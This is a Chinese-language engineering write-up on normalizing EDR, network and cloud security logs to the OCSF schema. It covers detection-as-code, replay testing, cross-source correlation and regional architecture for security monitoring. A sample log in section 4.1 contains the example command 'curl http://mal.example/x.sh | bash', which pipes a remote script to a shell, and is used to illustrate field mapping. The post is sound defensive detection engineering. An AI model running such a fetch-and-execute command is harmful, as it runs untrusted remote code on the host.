过去一年我们团队一直在折腾一件事:把分散在多个云区域、多家安全产品的检测数据收拢到一起,让同一套检测规则能够覆盖全球所有区域的安全告警。还没动手之前我们都以为难点在“检测规则怎么写”,真正干起来才发现,最消耗精力的是数据格式。同一个恶意行为,端点检测平台、网络流量设备、云平台安全服务会给出三份看起来完全不是一回事的日志,分析员每天都在做人工拼图。
我们最后的选择是围绕 OCSF 做数据归一化,把检测工程化流程重新梳理了一遍,再配合多厂商协同的思路逐步落地。整个架构从设计到上线运行了大半年,中间踩了不少坑,也有些值得分享的经验。这篇就把完整过程写出来,给同样准备做全球化云原生安全架构的团队做个参考。
1. 多厂商日志割裂:同一场攻击要在三个平台上拼图
1.1 一个挖矿事件的三份侧写
先说一个最常见的场景。某天凌晨,内网一台 Linux 服务器被植入了挖矿程序。同一个安全事件,不同平台给出的信息完全是三份“局部证词”:
- 端点检测平台(EDR)只告诉你:检测到可疑进程启动,进程名是 kdevtmpfsi,父进程是 crond,命令行里附带了一段从外部地址下载脚本再执行的参数。但它不关心这个进程接下来连了哪些外部 IP。
- 网络流量分析设备(NTA)只告诉你:某台内网主机在过去几小时持续向某个托管服务商网段发起大量 TCP 外联,目标端口 8443。但它不知道这些连接是由哪个进程发起的。
- 云平台自带的威胁检测服务只告诉你:某个云主机访问了一个被标记为高风险的域名,命中挖矿家族情报。但它给出的主机标识和 EDR 里的主机名还可能是两套命名规则。
要判断这台服务器是不是真的被挖矿、影响面有多大,分析员得把“进程启动时间、外联目标 IP、访问的域名”三个维度手动关联起来。运气好十分钟能拼出来,运气不好得翻半天历史日志。而且这种拼图能力高度依赖个人经验,换个人来可能根本不知道怎么查。
1.2 割裂对检测工程的三重打击
上面只是单个事件的分析,放到检测工程这个层面,日志格式割裂带来的代价更严重。
第一是规则复用难。市面上有很多成熟的检测规则和检测思路,但它们的适用场景各不相同。问题在于我们没有统一的数据模型。有的规则依赖字段 src_ip,EDR 的日志里根本没有这个字段;有的规则需要 process_name,网络流量设备里又不存在。要让一份检测规则同时跑在多个数据源上,最粗暴的做法是每个数据源写一套分支适配代码,接入的厂商越多,规则库的种类就越爆炸,维护成本是成倍增长的。
第二是关联分析难。检测工程最值钱的部分不在单点告警,而是跨数据源的行为链关联。EDR 告诉我进程执行了什么,NTA 告诉我这台主机要连哪里,账号日志告诉我谁在这个时间点登录了系统。但三个数据源的时间格式不同、字段命名不同、枚举值表达也不同——有的平台拒绝访问写 “deny”,有的写 “deny_all”,还有的直接用数字 1。每次做关联都得先在脑子里做一次语义翻译,规则写起来非常别扭,还容易把关联条件搞错。
第三是数据交换难。安全团队通常还要把数据提供给内部的数据平台、运营看板和合规审计系统。字段定义不统一,意味着每一方消费数据都要单独写一套解析逻辑。这种“每家自己写一遍”的方式短期能忍,长期就是巨大的重复劳动,而且没有任何复用价值。
1.3 从适配厂商到适配 Schema
这个状态持续了相当长一段时间,直到我们决定改变原则:不再让检测规则去适配不同厂商的日志格式,而是让所有厂商的日志先归一化到一套公共的数据规范,检测规则只认这套规范。这就是 OCSF 的核心思路——Open Cybersecurity Schema Framework,一套由多家安全厂商和云厂商在开放社区共同推动的安全事件描述标准。选择它而没有自研,是因为它已经有了一套相对完整的字段定义和枚举约定,生态里也有不少厂商已经在按这个规范输出日志格式,团队没必要再去重复造一套轮子。
2. OCSF 为什么能成为“安全事件界的通用语言”
2.1 先理解 OCSF 是怎么组织的
OCSF 并不复杂,它给安全事件定义了一套标准数据组织方式,核心是“类别-类-属性”三层结构:
- 类别是最粗的维度,比如系统活动、网络活动、发现结果;
- 类是具体的事件类型,比如进程启动、DNS 查询、出站网络连接;
- 属性就是具体字段,比如源 IP、目标 IP、进程名、严重级别。
每个事件在 OCSF 框架下会有一个 JSON 结构,用几个关键字段做定位。class_uid 说明这是哪一类事件,activity_id 表示具体动作,type_uid 则由前两者组合而成。举一个实际例子:进程创建事件和 DNS 请求事件在原始日志里的字段几乎没有重合,但到了 OCSF 框架下,它们共用同一套基础结构,只是扩展部分不同。这意味着检测引擎可以统一处理这些事件,而不用事先知道“这个日志来自哪家厂商”。
OCSF 的层级关系用一个表格可以看得很清楚:
| OCSF 概念 | 作用 | 实际用法 |
|---|---|---|
| Class UID | 标识事件归属的类 | 检测规则按 class_uid 分流到不同逻辑 |
| Activity ID | 标识具体动作 | 把厂商的行为枚举映射成统一动作编号 |
| Metadata / Product | 记录事件来源 | 保留厂商原始产品名,方便溯源 |
| Profile | 描述数据来源形态 | 区分端点事件、网络事件、云资产事件 |
2.2 枚举值、时间戳与端点的统一约定
OCSF 最有价值的部分其实是对各种“边角细节”的约束。安全日志如果不是一个统一规范,各地都会有奇怪的表达。我们最早被坑的就是时间字段:有的平台给的是 ISO 字符串,有的给 Unix 秒,还有的给带时区偏移的本地时间。OCSF 规定时间统一用毫秒时间戳,并且基于 UTC,这对跨区域、跨设备的关联分析太重要了。
类似的约定还包括:严重级别 severity_id 使用固定的数值区间;端点信息统一放在 src_endpoint 和 dst_endpoint 对象里;进程信息统一放在 process 对象下。这些看似简单的约定,真正落地时能省掉大量重复的字段梳理工作。我们后来要求所有新接入的数据源,第一步就是把字段映射到 OCSF 对象模型,而不是像以前那样随心所欲地建字段。
2.3 自研 vs 采用 OCSF 的成本账
团队内部最初也讨论过“为什么不自己定一套统一字段规范”。当时算了一笔账就放弃了。自研规范意味着要自己定义全部字段枚举、类型约定、版本管理,还要让内部几乎所有数据消费方都来参与评审。更重要的是,检测规则和下游工具都要跟着自研规范重新适配,成本全部自己扛。
采用 OCSF 相当于站在已有生态的肩上。虽然它的字段定义不一定百分之百符合我们的业务习惯,但市面上主流的厂商、开源检测项目、安全数据平台现在越来越多地支持或借鉴 OCSF,我们可以直接复用社区里已经做好的映射方案。实际测算下来,采用 OCSF 的接入成本大约是自研规范的三分之一,而且后续每增加一个数据源,边际成本都在下降。
2.4 正视边界:OCSF 不负责检测效果
有一点必须说清楚,OCSF 解决的是“数据怎么描述”的问题,它不会让检测规则忽然变聪明。规则质量仍然取决于检测工程的方法和团队的水平,只是有了统一的 Schema 之后,检测规则可以只写一遍,然后在所有归一化数据上运行。这已经是巨大的效率提升。
3. 检测流水线重构:从规则堆砌到检测即代码
3.1 用代码版本管理的方式管理检测规则
OCSF 归一化解决了数据基础,接下来要解决的是检测规则的管理方式。以前我们的规则是直接写在告警平台控制台上的,每次改动都只能人工在界面上操作,没有版本记录,没有测试,改坏了只能靠事后发现。
后来我们把检测规则完全当成代码来管理。每一条规则都有独立文件,包含元信息、数据选择逻辑、主查询、调度周期、响应动作,文件统一提交到 Git 仓库,改动走 Merge Request,由团队成员做代码评审,评审通过后由 CI 流程自动发布到检测引擎。
这条流程里最反直觉的部分是:真正花时间的不是规则本身,而是规则的“试用生命周期”。我们的规则模板里强制包含测试用例,必须写明预期召回率和预期误报率,否则不允许合并。这个门槛逼着每个规则作者把检测逻辑想清楚再上线。
3.2 一条规则从假设到灰度上线的六步
在具体执行层面,我们把规则生产固定成了六步:
- 假设生成。先明确要检测的问题,比如“内网主机访问外部已知恶意域名”;
- 数据源确认。确认依赖哪些 OCSF 事件类,比如 DNS Activity、Process Activity;
- 行为建模。把假设转成具体字段模式,比如 query.hostname 命中威胁情报集合,同时 src_endpoint 类型不是内部 DNS 服务器;
- 规则编码。写成可执行的检测逻辑,用 YAML 维护;
- 回放测试。把过去三十天的归一化数据重新灌进规则,统计命中数量,并与已知攻击事件比对;
- 灰度上线。先只记录不告警,观察一周再真正触发告警。
一句规则文件大致长这样:
name: Malicious_DNS_Query_From_Internal_Host version: 1.2.0 tags: [malware, dns, command-and-control] enabled: false filter: class_uid: 1008 where: query.hostname in threat_intel_domain_set correlations: - join_with: ProcessActivity on_hostname: device.hostname within_seconds: 60 alert: severity_id: 4 message: "internal host queried a malicious domain"3.3 回放测试不是拿样例日志碰运气
回放测试是整个流程里最容易糊弄、也最值得投入的一步。刚开始我们拿几条手工构造的样例日志跑一遍就算过了,后来发现规则一到线上就原形毕露。真正有效的做法是:给历史攻击事件打标签,然后用规则在标签数据上重新检测,计算命中覆盖率和误报率。
打标签这件事最好是安全运营和分析团队一起参与,把过去一两年重要的攻防事件都标出来,规模不需要很大,但质量一定要高。我们大概是逐步积累了几百条关键事件标签,正是靠着这批标注数据,检测规则才从“看起来能跑”变成“上线真的能用”。
同时要管理好预期:一条规则不可能在所有攻击模式下都保持高命中率。我们后来把规则分成两层,一层是粗粒度检测,负责抓大范围扫描和常见工具行为;一层是细粒度检测,针对特定主机或特定行为链做精准识别。分层之后,每一层规则的精度数据才好统计,调优也有了方向。
4. 多源关联检测案例:DNS、EDR、防火墙如何协同
4.1 归一化管道与映射配置
多源关联的前提是多个数据源已经进入同一个 Schema。我们的做法是每个数据源独立搭建一条接入管道:原始日志 → 清洗 → OCSF 映射 → 标准化输出。清洗阶段只做去重、字段类型修正和时间格式统一;映射阶段才是真正的重活。
举个例子,某厂商的端点日志可能是这样的:
{ "event_type": "process_creation", "agent_host": "prod-web-01", "image_path": "/usr/bin/curl", "cmd_line": "curl http://mal.example/x.sh | bash", "time": "2024-11-05T06:12:33Z", "pid": 10233 }映射成 OCSF 的 Process Activity 后是这样的:
{ "class_uid": 1007, "category_uid": 1, "activity_id": 1, "type_uid": 100701, "time": 1730781753000, "device": { "hostname": "prod-web-01" }, "process": { "pid": 10233, "name": "curl", "file": { "path": "/usr/bin/curl" }, "cmd_line": "curl http://mal.example/x.sh | bash" } }映射层最重要的是一张字段映射表,每个原始字段到 OCSF 字段的关系都记录在案。另外每个接入数据源必须保留原始的 product 信息和原始日志的引用地址,这样哪怕归一化出了问题,也能随时回溯原始数据。
4.2 一个典型的跨源关联规则
归一化之后,跨源关联的规则写法会干净很多。比如我们要检测“内网主机访问恶意域名并产生进程外联”,逻辑可以拆成三段:
- 在 DNS Activity 事件里找出 query.hostname 命中威胁情报库的记录;
- 在 Process Activity 事件里找出发生在同一台主机、同一时间窗口内的进程执行记录;
- 在 Network Activity 事件里确认这台主机确实发起了出站会话。
关联键是核心。实践里我们会把筛选结果先按 device.hostname 关联,再按 IP 匹配聚合。真正跑起来以后,关联规则会把 DNS 告警、进程告警和网络外联告警折叠成一条完整的事件链,分析员打开这个事件就能看到全貌,而不是收到三封彼此没有关联的告警邮件。
4.3 关联中时间窗与端点匹配的实践
多源关联最容易翻车的两个地方是时间和端点的匹配。
时间上,不同产品的事件时间来自不同设备的本地时钟,差异可能达到秒级甚至更大。一开始我们天真地用了五秒窗口,结果漏掉了很多真实告警。后来把关联窗口放宽到六十秒,误报虽然多了一些,但总体命中率上来了,之后再通过其他约束条件去压低误报。
端点上,同一个主机在 DNS 日志里叫 prod-web-01,在网络设备日志里可能只有一个 IP。我们采用了“主机名+IP 缓存”双通道匹配:如果两边都有主机名就用主机名关联;如果只有 IP,就用最近十分钟的 IP 分配记录做反查。这个设计比单纯依赖任何一种标识都可靠,尤其适合动态分配的云主机环境。
5. 全球化云原生架构落地的关键取舍
5.1 分区域自治、中心协调的总体架构
全球化的云原生安全架构,最大的课题不是技术组件选型,而是区域之间的网络状况和数据合规约束。我们的总体原则是:每个区域都能独立完成采集、归一化和基础检测,中心层负责全局关联和统一编排。
落到具体架构上,数据链路是这样设计的:
- 每个云区域内部署一套轻量的采集与归一化服务,把该区域的端点日志、云平台告警、网络设备日志和 DNS 日志统一转成 OCSF 格式;
- 区域内部有一个检测服务实例,运行实时规则,保证低延迟;
- 区域之间通过异步消息队列,把“检测结果摘要”和“全局关联所需的关键字段”同步到中心层,而不是把全部原始日志全量上送;
- 中心层做跨区域关联分析和统一响应编排,比如发现某个恶意 IP 后,向所有区域下发封禁策略。
这个架构下,某个区域即使与中心断连,本地检测依然可以持续运行,只是跨区域关联暂时失效,不会出现安全监控整体停摆的情况。
5.2 归一化放在边缘还是中心
这是个很现实的选型问题。全部把原始日志送到中心再做归一化,管理最集中,但带宽和中心算力压力巨大;全部在边缘做归一化,每个区域各自维护一套映射逻辑,很容易出现版本漂移,不同区域的检测规则行为不一致。
我们最后用的是折中方案:边缘完成语法归一,也就是把原始 JSON 清洗成结构一致的数据,但不做复杂的枚举语义映射;语义映射放到中心配置服务统一下发,保证所有区域都跑同一个映射版本。如果区域与中心断连超过一定时间,边缘流程会继续用本地缓存的原映射版本运行,恢复后再自动补配置差异。
这套做法的好处是,大多数情况下所有区域的检测逻辑完全一致,特殊区域需要自定义规则时也有灵活的空间。代价是需要额外维护一套配置分发和版本校验机制,但这笔投入值得。
5.3 存储检索分层与跨区域查询
存储层我们按数据热度分了三层。实时检测引擎只访问最近 7 天的热数据;安全运营查询依赖最近 90 天的温数据;原始 JSON 和告警上下文归档到对象存储做冷数据,保留较长时间用于追溯。
跨区域关联查询的挑战是延迟。我们的做法是把中心层做成一个“摘要同步层”,每个区域定期把主机资产清单、威胁情报命中记录、告警事件摘要同步到中心。跨区域关联时,中心先用摘要完成粗筛,拿到一个小集合,然后回各区域查明细。这样避免了把所有数据全量拉到一个中心库再查询的笨办法,实际查询耗时可接受,同时也不会把区域敏感数据全部集中到中心。
6. 运行半年后不得不说的坑:Schema 演进、成本与误报治理
6.1 字段语义:“看起来一样,其实不一样”
这是踩过最深的一个坑。不同厂商日志里字段名字可能相同,但语义差距很大。最典型的是“源 IP”。厂商 A 的 src_ip 表示发起请求的客户端真实 IP,厂商 B 的 src_ip 表示经过 NAT 转换后的入口地址。如果直接把两个 src_ip 都灌进 OCSF 的 src_endpoint.ip,那么关联规则就可能把攻击流量错误归因到 NAT 网关上,导致告警指向错误主机。
我们的补救措施是强制要求每条映射规则都写“字段语义注释”,并且在映射测试里加入一条校验:同一 IP 在不同日志中的角色是否一致。这个要求看起来繁琐,但它逼着数据接入方把字段真正读懂,而不是简单做文本替换。
6.2 时间是格式化问题的重灾区
时间字段的坑几乎每个数据源都会踩一遍。有些区域设备给的是 UTC,有些给的是本地时间,还有些给的是带时区偏移的 ISO 字符串。统一到毫秒时间戳之后,还必须写清楚是“设备事件时间”还是“平台接收时间”。事件时间和接收时间可能相差很大,网络抖动严重时甚至差到几分钟。我们做了明确约定:OCSF 的 time 字段使用设备事件时间,另外保留一个 metadata.received_time 记录平台接收时间。检测规则默认使用事件时间,只有排查平台问题时才用接收时间。
6.3 三处让我差点超预算的存储设计
成本失控有三个来源,个个都隐蔽。
第一是索引过度。早期为了查询方便,几乎把所有字段都建了索引,存储成本直线上升。后来只对参与检测和检索逻辑的字段建索引,其余字段保留原文。
第二是重复存储。原始日志进了对象存储,归一化版本进了检索库,两个地方都保留全字段的话,总量直接翻倍。我们调整成原始日志压缩归档,归一化数据只在热库保留九十天,超过九十天落到冷存储。
第三是规则算力消耗。不是规则越多越好,有些长期零命中或者极低频的规则,占用的检测引擎资源却很可观。我们每个季度按规则命中率排序,低命中率且长期无告警的规则定期淘汰,释放算力给新的检测场景。
6.4 版本演进的兼容策略
OCSF Schema 本身还在演进,厂商日志格式也不会永远不变。我们在每一条 OCSF 事件里都带了 schema_version 字段,每次映射升级都保留旧版本的解析入口。新数据进来时优先按新版本解析,遇到无法映射的旧字段先落在扩展字段里,同时自动生成一条待办给映射负责人。
这个机制最直接的好处是升级过程不中断检测。两次较大的 Schema 升级中,我们的检测链路持续在线,没有因为字段调整出现规则大面积失效。前提是每次升级前都要把映射变更列表和影响分析发出来,相关规则 owner 确认后再执行。
6.5 误报治理必须做成闭环
最后说误报治理。检测规则上线不是终点,灰度发布之后才是真正考验。我们给每条规则记录三个指标:触发次数、确认为真实事件的次数、误报次数。每周固定复盘误报率最高的十条规则,分类处理:字段映射问题就改映射,规则逻辑漏洞就改规则,正常业务行为导致的误报就加白名单,白名单必须写明理由和有效期。
这套闭环跑起来之后,告警噪音差不多下降了一半,分析员才有精力去处理真正的高价值事件。做检测工程最怕的不是没有告警,而是告警太多导致运营团队麻木,最后真实事件也被淹没在误报里。
如果让我重新做一遍这个项目,我会从第一天就要求每个数据源接入时都必须附上“字段语义说明文档”,而不是等接入完成再补。OCSF 统一了格式,但每个厂商日志背后的业务语义仍然需要人来定义清楚,这部分工作没有捷径。另外别追求一步到位。先拿 DNS 日志和进程启动日志做试点,跑通一条跨源关联规则,再逐步扩展到更多数据源和更多区域。全球化的云原生安全架构没有标准答案,但把归一化层和检测工程化这两件事做扎实,多厂商协同的这套玩法就能持续复用下去。